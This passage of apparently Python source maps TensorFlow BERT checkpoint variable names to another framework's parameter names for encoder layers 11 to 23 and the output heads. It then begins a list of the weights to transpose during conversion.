'bert.bert.bert_encoder.layers.11.attention.attention' '.query_layer.bias', 'bert/encoder/layer_11/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.11.attention.attention' '.key_layer.weight', 'bert/encoder/layer_11/attention/self/key/bias': 'bert.bert.bert_encoder.layers.11.attention.attention.key_layer' '.bias', 'bert/encoder/layer_11/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.11.attention.attention' '.value_layer.weight', 'bert/encoder/layer_11/attention/self/value/bias': 'bert.bert.bert_encoder.layers.11.attention.attention' '.value_layer.bias', 'bert/encoder/layer_11/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.11.attention.output.dense' '.weight', 'bert/encoder/layer_11/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.11.attention.output.dense.bias', 'bert/encoder/layer_11/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.11.attention.output' '.layernorm.gamma', 'bert/encoder/layer_11/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.11.attention.output' '.layernorm.beta', 'bert/encoder/layer_11/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.11.intermediate.weight', 'bert/encoder/layer_11/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.11.intermediate.bias', 'bert/encoder/layer_11/output/dense/kernel': 'bert.bert.bert_encoder.layers.11.output.dense.weight', 'bert/encoder/layer_11/output/dense/bias': 'bert.bert.bert_encoder.layers.11.output.dense.bias', 'bert/encoder/layer_11/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.11.output.layernorm.gamma', 'bert/encoder/layer_11/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.11.output.layernorm.beta', 'bert/encoder/layer_12/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.12.attention.attention' '.query_layer.weight', 'bert/encoder/layer_12/attention/self/query/bias': 'bert.bert.bert_encoder.layers.12.attention.attention' '.query_layer.bias', 'bert/encoder/layer_12/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.12.attention.attention' '.key_layer.weight', 'bert/encoder/layer_12/attention/self/key/bias': 'bert.bert.bert_encoder.layers.12.attention.attention.key_layer' '.bias', 'bert/encoder/layer_12/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.12.attention.attention' '.value_layer.weight', 'bert/encoder/layer_12/attention/self/value/bias': 'bert.bert.bert_encoder.layers.12.attention.attention' '.value_layer.bias', 'bert/encoder/layer_12/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.12.attention.output.dense' '.weight', 'bert/encoder/layer_12/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.12.attention.output.dense.bias', 'bert/encoder/layer_12/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.12.attention.output' '.layernorm.gamma', 'bert/encoder/layer_12/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.12.attention.output' '.layernorm.beta', 'bert/encoder/layer_12/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.12.intermediate.weight', 'bert/encoder/layer_12/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.12.intermediate.bias', 'bert/encoder/layer_12/output/dense/kernel': 'bert.bert.bert_encoder.layers.12.output.dense.weight', 'bert/encoder/layer_12/output/dense/bias': 'bert.bert.bert_encoder.layers.12.output.dense.bias', 'bert/encoder/layer_12/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.12.output.layernorm.gamma', 'bert/encoder/layer_12/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.12.output.layernorm.beta', 'bert/encoder/layer_13/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.13.attention.attention' '.query_layer.weight', 'bert/encoder/layer_13/attention/self/query/bias': 'bert.bert.bert_encoder.layers.13.attention.attention' '.query_layer.bias', 'bert/encoder/layer_13/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.13.attention.attention' '.key_layer.weight', 'bert/encoder/layer_13/attention/self/key/bias': 'bert.bert.bert_encoder.layers.13.attention.attention.key_layer' '.bias', 'bert/encoder/layer_13/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.13.attention.attention' '.value_layer.weight', 'bert/encoder/layer_13/attention/self/value/bias': 'bert.bert.bert_encoder.layers.13.attention.attention' '.value_layer.bias', 'bert/encoder/layer_13/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.13.attention.output.dense' '.weight', 'bert/encoder/layer_13/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.13.attention.output.dense.bias', 'bert/encoder/layer_13/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.13.attention.output' '.layernorm.gamma', 'bert/encoder/layer_13/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.13.attention.output' '.layernorm.beta', 'bert/encoder/layer_13/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.13.intermediate.weight', 'bert/encoder/layer_13/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.13.intermediate.bias', 'bert/encoder/layer_13/output/dense/kernel': 'bert.bert.bert_encoder.layers.13.output.dense.weight', 'bert/encoder/layer_13/output/dense/bias': 'bert.bert.bert_encoder.layers.13.output.dense.bias', 'bert/encoder/layer_13/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.13.output.layernorm.gamma', 'bert/encoder/layer_13/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.13.output.layernorm.beta', 'bert/encoder/layer_14/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.14.attention.attention' '.query_layer.weight', 'bert/encoder/layer_14/attention/self/query/bias': 'bert.bert.bert_encoder.layers.14.attention.attention' '.query_layer.bias', 'bert/encoder/layer_14/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.14.attention.attention' '.key_layer.weight', 'bert/encoder/layer_14/attention/self/key/bias': 'bert.bert.bert_encoder.layers.14.attention.attention.key_layer' '.bias', 'bert/encoder/layer_14/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.14.attention.attention' '.value_layer.weight', 'bert/encoder/layer_14/attention/self/value/bias': 'bert.bert.bert_encoder.layers.14.attention.attention' '.value_layer.bias', 'bert/encoder/layer_14/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.14.attention.output.dense' '.weight', 'bert/encoder/layer_14/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.14.attention.output.dense.bias', 'bert/encoder/layer_14/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.14.attention.output' '.layernorm.gamma', 'bert/encoder/layer_14/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.14.attention.output' '.layernorm.beta', 'bert/encoder/layer_14/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.14.intermediate.weight', 'bert/encoder/layer_14/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.14.intermediate.bias', 'bert/encoder/layer_14/output/dense/kernel': 'bert.bert.bert_encoder.layers.14.output.dense.weight', 'bert/encoder/layer_14/output/dense/bias': 'bert.bert.bert_encoder.layers.14.output.dense.bias', 'bert/encoder/layer_14/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.14.output.layernorm.gamma', 'bert/encoder/layer_14/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.14.output.layernorm.beta', 'bert/encoder/layer_15/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.15.attention.attention' '.query_layer.weight', 'bert/encoder/layer_15/attention/self/query/bias': 'bert.bert.bert_encoder.layers.15.attention.attention' '.query_layer.bias', 'bert/encoder/layer_15/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.15.attention.attention' '.key_layer.weight', 'bert/encoder/layer_15/attention/self/key/bias': 'bert.bert.bert_encoder.layers.15.attention.attention.key_layer' '.bias', 'bert/encoder/layer_15/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.15.attention.attention' '.value_layer.weight', 'bert/encoder/layer_15/attention/self/value/bias': 'bert.bert.bert_encoder.layers.15.attention.attention' '.value_layer.bias', 'bert/encoder/layer_15/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.15.attention.output.dense' '.weight', 'bert/encoder/layer_15/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.15.attention.output.dense.bias', 'bert/encoder/layer_15/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.15.attention.output' '.layernorm.gamma', 'bert/encoder/layer_15/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.15.attention.output' '.layernorm.beta', 'bert/encoder/layer_15/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.15.intermediate.weight', 'bert/encoder/layer_15/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.15.intermediate.bias', 'bert/encoder/layer_15/output/dense/kernel': 'bert.bert.bert_encoder.layers.15.output.dense.weight', 'bert/encoder/layer_15/output/dense/bias': 'bert.bert.bert_encoder.layers.15.output.dense.bias', 'bert/encoder/layer_15/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.15.output.layernorm.gamma', 'bert/encoder/layer_15/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.15.output.layernorm.beta', 'bert/encoder/layer_16/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.16.attention.attention' '.query_layer.weight', 'bert/encoder/layer_16/attention/self/query/bias': 'bert.bert.bert_encoder.layers.16.attention.attention' '.query_layer.bias', 'bert/encoder/layer_16/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.16.attention.attention' '.key_layer.weight', 'bert/encoder/layer_16/attention/self/key/bias': 'bert.bert.bert_encoder.layers.16.attention.attention.key_layer' '.bias', 'bert/encoder/layer_16/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.16.attention.attention' '.value_layer.weight', 'bert/encoder/layer_16/attention/self/value/bias': 'bert.bert.bert_encoder.layers.16.attention.attention' '.value_layer.bias', 'bert/encoder/layer_16/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.16.attention.output.dense' '.weight', 'bert/encoder/layer_16/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.16.attention.output.dense.bias', 'bert/encoder/layer_16/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.16.attention.output' '.layernorm.gamma', 'bert/encoder/layer_16/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.16.attention.output' '.layernorm.beta', 'bert/encoder/layer_16/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.16.intermediate.weight', 'bert/encoder/layer_16/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.16.intermediate.bias', 'bert/encoder/layer_16/output/dense/kernel': 'bert.bert.bert_encoder.layers.16.output.dense.weight', 'bert/encoder/layer_16/output/dense/bias': 'bert.bert.bert_encoder.layers.16.output.dense.bias', 'bert/encoder/layer_16/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.16.output.layernorm.gamma', 'bert/encoder/layer_16/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.16.output.layernorm.beta', 'bert/encoder/layer_17/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.17.attention.attention' '.query_layer.weight', 'bert/encoder/layer_17/attention/self/query/bias': 'bert.bert.bert_encoder.layers.17.attention.attention' '.query_layer.bias', 'bert/encoder/layer_17/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.17.attention.attention' '.key_layer.weight', 'bert/encoder/layer_17/attention/self/key/bias': 'bert.bert.bert_encoder.layers.17.attention.attention.key_layer' '.bias', 'bert/encoder/layer_17/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.17.attention.attention' '.value_layer.weight', 'bert/encoder/layer_17/attention/self/value/bias': 'bert.bert.bert_encoder.layers.17.attention.attention' '.value_layer.bias', 'bert/encoder/layer_17/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.17.attention.output.dense' '.weight', 'bert/encoder/layer_17/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.17.attention.output.dense.bias', 'bert/encoder/layer_17/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.17.attention.output' '.layernorm.gamma', 'bert/encoder/layer_17/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.17.attention.output' '.layernorm.beta', 'bert/encoder/layer_17/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.17.intermediate.weight', 'bert/encoder/layer_17/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.17.intermediate.bias', 'bert/encoder/layer_17/output/dense/kernel': 'bert.bert.bert_encoder.layers.17.output.dense.weight', 'bert/encoder/layer_17/output/dense/bias': 'bert.bert.bert_encoder.layers.17.output.dense.bias', 'bert/encoder/layer_17/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.17.output.layernorm.gamma', 'bert/encoder/layer_17/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.17.output.layernorm.beta', 'bert/encoder/layer_18/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.18.attention.attention' '.query_layer.weight', 'bert/encoder/layer_18/attention/self/query/bias': 'bert.bert.bert_encoder.layers.18.attention.attention' '.query_layer.bias', 'bert/encoder/layer_18/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.18.attention.attention' '.key_layer.weight', 'bert/encoder/layer_18/attention/self/key/bias': 'bert.bert.bert_encoder.layers.18.attention.attention.key_layer' '.bias', 'bert/encoder/layer_18/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.18.attention.attention' '.value_layer.weight', 'bert/encoder/layer_18/attention/self/value/bias': 'bert.bert.bert_encoder.layers.18.attention.attention' '.value_layer.bias', 'bert/encoder/layer_18/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.18.attention.output.dense' '.weight', 'bert/encoder/layer_18/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.18.attention.output.dense.bias', 'bert/encoder/layer_18/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.18.attention.output' '.layernorm.gamma', 'bert/encoder/layer_18/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.18.attention.output' '.layernorm.beta', 'bert/encoder/layer_18/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.18.intermediate.weight', 'bert/encoder/layer_18/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.18.intermediate.bias', 'bert/encoder/layer_18/output/dense/kernel': 'bert.bert.bert_encoder.layers.18.output.dense.weight', 'bert/encoder/layer_18/output/dense/bias': 'bert.bert.bert_encoder.layers.18.output.dense.bias', 'bert/encoder/layer_18/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.18.output.layernorm.gamma', 'bert/encoder/layer_18/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.18.output.layernorm.beta', 'bert/encoder/layer_19/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.19.attention.attention' '.query_layer.weight', 'bert/encoder/layer_19/attention/self/query/bias': 'bert.bert.bert_encoder.layers.19.attention.attention' '.query_layer.bias', 'bert/encoder/layer_19/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.19.attention.attention' '.key_layer.weight', 'bert/encoder/layer_19/attention/self/key/bias': 'bert.bert.bert_encoder.layers.19.attention.attention.key_layer' '.bias', 'bert/encoder/layer_19/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.19.attention.attention' '.value_layer.weight', 'bert/encoder/layer_19/attention/self/value/bias': 'bert.bert.bert_encoder.layers.19.attention.attention' '.value_layer.bias', 'bert/encoder/layer_19/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.19.attention.output.dense' '.weight', 'bert/encoder/layer_19/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.19.attention.output.dense.bias', 'bert/encoder/layer_19/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.19.attention.output' '.layernorm.gamma', 'bert/encoder/layer_19/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.19.attention.output' '.layernorm.beta', 'bert/encoder/layer_19/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.19.intermediate.weight', 'bert/encoder/layer_19/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.19.intermediate.bias', 'bert/encoder/layer_19/output/dense/kernel': 'bert.bert.bert_encoder.layers.19.output.dense.weight', 'bert/encoder/layer_19/output/dense/bias': 'bert.bert.bert_encoder.layers.19.output.dense.bias', 'bert/encoder/layer_19/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.19.output.layernorm.gamma', 'bert/encoder/layer_19/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.19.output.layernorm.beta', 'bert/encoder/layer_20/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.20.attention.attention' '.query_layer.weight', 'bert/encoder/layer_20/attention/self/query/bias': 'bert.bert.bert_encoder.layers.20.attention.attention' '.query_layer.bias', 'bert/encoder/layer_20/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.20.attention.attention' '.key_layer.weight', 'bert/encoder/layer_20/attention/self/key/bias': 'bert.bert.bert_encoder.layers.20.attention.attention.key_layer' '.bias', 'bert/encoder/layer_20/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.20.attention.attention' '.value_layer.weight', 'bert/encoder/layer_20/attention/self/value/bias': 'bert.bert.bert_encoder.layers.20.attention.attention' '.value_layer.bias', 'bert/encoder/layer_20/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.20.attention.output.dense' '.weight', 'bert/encoder/layer_20/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.20.attention.output.dense.bias', 'bert/encoder/layer_20/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.20.attention.output' '.layernorm.gamma', 'bert/encoder/layer_20/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.20.attention.output' '.layernorm.beta', 'bert/encoder/layer_20/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.20.intermediate.weight', 'bert/encoder/layer_20/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.20.intermediate.bias', 'bert/encoder/layer_20/output/dense/kernel': 'bert.bert.bert_encoder.layers.20.output.dense.weight', 'bert/encoder/layer_20/output/dense/bias': 'bert.bert.bert_encoder.layers.20.output.dense.bias', 'bert/encoder/layer_20/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.20.output.layernorm.gamma', 'bert/encoder/layer_20/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.20.output.layernorm.beta', 'bert/encoder/layer_21/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.21.attention.attention' '.query_layer.weight', 'bert/encoder/layer_21/attention/self/query/bias': 'bert.bert.bert_encoder.layers.21.attention.attention' '.query_layer.bias', 'bert/encoder/layer_21/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.21.attention.attention' '.key_layer.weight', 'bert/encoder/layer_21/attention/self/key/bias': 'bert.bert.bert_encoder.layers.21.attention.attention.key_layer' '.bias', 'bert/encoder/layer_21/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.21.attention.attention' '.value_layer.weight', 'bert/encoder/layer_21/attention/self/value/bias': 'bert.bert.bert_encoder.layers.21.attention.attention' '.value_layer.bias', 'bert/encoder/layer_21/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.21.attention.output.dense' '.weight', 'bert/encoder/layer_21/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.21.attention.output.dense.bias', 'bert/encoder/layer_21/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.21.attention.output' '.layernorm.gamma', 'bert/encoder/layer_21/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.21.attention.output' '.layernorm.beta', 'bert/encoder/layer_21/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.21.intermediate.weight', 'bert/encoder/layer_21/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.21.intermediate.bias', 'bert/encoder/layer_21/output/dense/kernel': 'bert.bert.bert_encoder.layers.21.output.dense.weight', 'bert/encoder/layer_21/output/dense/bias': 'bert.bert.bert_encoder.layers.21.output.dense.bias', 'bert/encoder/layer_21/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.21.output.layernorm.gamma', 'bert/encoder/layer_21/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.21.output.layernorm.beta', 'bert/encoder/layer_22/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.22.attention.attention' '.query_layer.weight', 'bert/encoder/layer_22/attention/self/query/bias': 'bert.bert.bert_encoder.layers.22.attention.attention' '.query_layer.bias', 'bert/encoder/layer_22/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.22.attention.attention' '.key_layer.weight', 'bert/encoder/layer_22/attention/self/key/bias': 'bert.bert.bert_encoder.layers.22.attention.attention.key_layer' '.bias', 'bert/encoder/layer_22/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.22.attention.attention' '.value_layer.weight', 'bert/encoder/layer_22/attention/self/value/bias': 'bert.bert.bert_encoder.layers.22.attention.attention' '.value_layer.bias', 'bert/encoder/layer_22/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.22.attention.output.dense' '.weight', 'bert/encoder/layer_22/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.22.attention.output.dense.bias', 'bert/encoder/layer_22/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.22.attention.output' '.layernorm.gamma', 'bert/encoder/layer_22/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.22.attention.output' '.layernorm.beta', 'bert/encoder/layer_22/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.22.intermediate.weight', 'bert/encoder/layer_22/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.22.intermediate.bias', 'bert/encoder/layer_22/output/dense/kernel': 'bert.bert.bert_encoder.layers.22.output.dense.weight', 'bert/encoder/layer_22/output/dense/bias': 'bert.bert.bert_encoder.layers.22.output.dense.bias', 'bert/encoder/layer_22/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.22.output.layernorm.gamma', 'bert/encoder/layer_22/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.22.output.layernorm.beta', 'bert/encoder/layer_23/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.23.attention.attention' '.query_layer.weight', 'bert/encoder/layer_23/attention/self/query/bias': 'bert.bert.bert_encoder.layers.23.attention.attention' '.query_layer.bias', 'bert/encoder/layer_23/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.23.attention.attention' '.key_layer.weight', 'bert/encoder/layer_23/attention/self/key/bias': 'bert.bert.bert_encoder.layers.23.attention.attention.key_layer' '.bias', 'bert/encoder/layer_23/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.23.attention.attention' '.value_layer.weight', 'bert/encoder/layer_23/attention/self/value/bias': 'bert.bert.bert_encoder.layers.23.attention.attention' '.value_layer.bias', 'bert/encoder/layer_23/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.23.attention.output.dense' '.weight', 'bert/encoder/layer_23/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.23.attention.output.dense.bias', 'bert/encoder/layer_23/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.23.attention.output' '.layernorm.gamma', 'bert/encoder/layer_23/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.23.attention.output' '.layernorm.beta', 'bert/encoder/layer_23/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.23.intermediate.weight', 'bert/encoder/layer_23/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.23.intermediate.bias', 'bert/encoder/layer_23/output/dense/kernel': 'bert.bert.bert_encoder.layers.23.output.dense.weight', 'bert/encoder/layer_23/output/dense/bias': 'bert.bert.bert_encoder.layers.23.output.dense.bias', 'bert/encoder/layer_23/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.23.output.layernorm.gamma', 'bert/encoder/layer_23/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.23.output.layernorm.beta', 'bert/pooler/dense/kernel': 'bert.bert.dense.weight', 'bert/pooler/dense/bias': 'bert.bert.dense.bias', 'cls/predictions/output_bias': 'bert.cls1.output_bias', 'cls/predictions/transform/dense/kernel': 'bert.cls1.dense.weight', 'cls/predictions/transform/dense/bias': 'bert.cls1.dense.bias', 'cls/predictions/transform/LayerNorm/gamma': 'bert.cls1.layernorm.gamma', 'cls/predictions/transform/LayerNorm/beta': 'bert.cls1.layernorm.beta', 'cls/seq_relationship/output_weights': 'bert.cls2.dense.weight', 'cls/seq_relationship/output_bias': 'bert.cls2.dense.bias', } # Weights need to be transposed while transfer transpose_list = [ 'bert.bert.bert_encoder.layers.0.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.0.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.0.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.0.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.0.intermediate.weight', 'bert.bert.bert_encoder.layers.0.output.dense.weight', 'bert.bert.bert_encoder.layers.1.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.1.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.1.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.1.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.1.intermediate.weight', 'bert.bert.bert_encoder.layers.1.output.dense.weight', 'bert.bert.bert_encoder.layers.2.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.2.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.2.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.2.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.2.intermediate.weight', 'bert.bert.bert_encoder.layers.2.output.dense.weight', 'bert.bert.bert_encoder.layers.3.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.3.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.3.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.3.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.3.intermediate.weight', 'bert.bert.bert_encoder.layers.3.output.dense.weight', 'bert.bert.bert_encoder.layers.4.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.4.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.4.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.4.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.4.intermediate.weight', 'bert.bert.bert_encoder.layers.4.output.dense.weight', 'bert.bert.bert_encoder.layers.5.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.5.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.5.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.5.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.5.intermediate.weight', 'bert.bert.bert_encoder.layers.5.output.dense.weight', 'bert.bert.bert_encoder.layers.6.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.6.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.6.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.6.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.6.intermediate.weight', 'bert.bert.bert_encoder.layers.6.output.dense.weight', 'bert.bert.bert_encoder.layers.7.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.7.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.7.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.7.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.7.intermediate.weight', 'bert.bert.bert_encoder.layers.7.output.dense.weight', 'bert.bert.bert_encoder.layers.8.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.8.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.8.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.8.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.8.intermediate.weight', 'bert.bert.bert_encoder.layers.8.output.dense.weight', 'bert.bert.bert_encoder.layers.9.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.9.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.9.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.9.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.9.intermediate.weight', 'bert.bert.bert_encoder.layers.9.output.dense.weight', 'bert.bert.bert_encoder.layers.10.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.10.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.10.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.10.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.10.intermediate.weight', 'bert.bert.bert_encoder.layers.10.output.dense.weight', 'bert.bert.bert_encoder.layers.11.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.11.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.11.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.11.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.11.intermediate.weight', 'bert.bert.bert_encoder.layers.11.output.dense.weight', 'bert.bert.bert_encoder.layers.12.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.12.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.12.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.12.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.12.intermediate.weight', 'bert.bert.bert_encoder.layers.12.output.dense.weight', 'bert.bert.bert_encoder.layers.13.attention.attention.query_layer.weight', 'bert.bert.bert_encoder.layers.13.attention.attention.key_layer.weight', 'bert.bert.bert_encoder.layers.13.attention.attention.value_layer.weight', 'bert.bert.bert_encoder.layers.13.attention.output.dense.weight', 'bert.bert.bert_encoder.layers.13.intermediate.weight', 'bert.bert.bert_encoder.layers.13.output.dense.weight', 